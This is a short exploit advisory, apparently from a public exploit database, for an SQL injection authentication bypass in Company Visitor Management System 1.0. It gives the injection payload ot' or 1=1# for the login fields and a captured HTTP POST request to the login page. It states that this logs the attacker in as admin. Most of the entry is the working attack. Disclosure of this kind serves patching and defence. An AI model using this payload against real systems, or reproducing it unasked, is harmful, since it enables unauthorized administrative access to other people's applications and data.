Company Visitor Management System (CVMS) 1.0 SQL Injection

Company Visitor Management System (CVMS) version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 4157302994cd9e55e94b6aa44dd0fed1

# Exploit Title: Company Visitor Management System (CVMS) 1.0 - Authentication Bypass
# Date: 16/10/2020
# Exploit Author: Oğuz Türkgenç
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested On: Windows 7 Enterprise SP1 + XAMPP V3.2.3

Step 1: Open the URL http://localhost/cvms/index.php

Step 2: use payload ot' or 1=1# in user and password field

Malicious Request

POST /cvms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://localhost
Connection: close
Cookie: lang=english; PHPSESSID=qkg4nmdq97r4jkvkm4raa34660
Upgrade-Insecure-Requests: 1


Step 3: You will be logged in as admin.

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